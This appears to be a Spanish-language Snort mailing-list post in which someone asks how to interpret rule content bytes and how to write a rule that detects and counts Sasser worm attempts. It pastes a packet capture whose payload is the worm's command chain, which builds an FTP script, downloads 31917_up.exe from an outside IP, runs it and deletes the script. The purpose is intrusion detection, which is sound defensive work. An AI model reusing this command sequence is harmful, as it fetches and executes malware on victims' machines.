(no subject)

hola!!

bueno tengo una pregunta?

como es que le hacen para sacar el content de alguna
regla por ejemplo:

content:|eb10 5a4a|

como es que yo tengo que interpretar esa informacion
no se como hacerlo y me gustaria saber si ustedes me
pueden ayudar, 
necesito hacer una regla para sasser, cuando apenas
quierentrar y que me cunt cunatos intentos hace antes
de llegar, a entrar, bueno espero que me puedan
ayudar,

de determinado contennido pasarloa a el content, por
ejemplo:

de donde optengo estos pruebas o como las hago:

05/01-12:05:28.644086 xxx.xxx.xxx.xxx:1443
->xxx.xxx.xxx.xxx:9996 TCP TTL:119 
TOS:0x0 ID:49174 IpLen:20 DgmLen:252 DF
 ***AP*** Seq: 0x605F104C Ack: 0xE15F8D72 Win: 0xFAF0
TcpLen: 20 
 63 68 6F 20 6F 66 66 26 65 63 68 6F 20 6F 70 65 cho
off&echo ope 
 6E 20 32 34 2E 39 37 2E 32 31 39 2E 31 38 35 20 n
24.97.219.185 
 35 35 35 34 3E 3E 63 6D 64 2E 66 74 70 26 65 63
5554>>cmd.ftp&ec 
 68 6F 20 61 6E 6F 6E 79 6D 6F 75 73 3E 3E 63 6D ho
anonymous>>cm 
 64 2E 66 74 70 26 65 63 68 6F 20 75 73 65 72 26
d.ftp&echo user& 
 65 63 68 6F 20 62 69 6E 3E 3E 63 6D 64 2E 66 74 echo
bin>>cmd.ft 
 70 26 65 63 68 6F 20 67 65 74 20 33 31 39 31 37
p&echo get 31917 
 5F 75 70 2E 65 78 65 3E 3E 63 6D 64 2E 66 74 70
_up.exe>>cmd.ftp 
 26 65 63 68 6F 20 62 79 65 3E 3E 63 6D 64 2E 66 &echo
bye>>cmd.f 
 74 70 26 65 63 68 6F 20 6F 6E 26 66 74 70 20 2D
tp&echo on&ftp - 
 73 3A 63 6D 64 2E 66 74 70 26 33 31 39 31 37 5F
s:cmd.ftp&31917_ 
 75 70 2E 65 78 65 26 65 63 68 6F 20 6F 66 66 26
up.exe&echo off& 
 64 65 6C 20 63 6D 64 2E 66 74 70 26 65 63 68 6F del
cmd.ftp&echo
 20 6F 6E 0A on.
 




_________________________________________________________
Do You Yahoo!?
Información de Estados Unidos y América Latina, en Yahoo! Noticias.
Visítanos en http://noticias.espanol.yahoo.com


-------------------------------------------------------
This SF.Net email is sponsored by the new InstallShield X.
From Windows to Linux, servers to mobile, InstallShield X is the one
installation-authoring solution that does it all. Learn more and
evaluate today! http://www.installshield.com/Dev2Dev/0504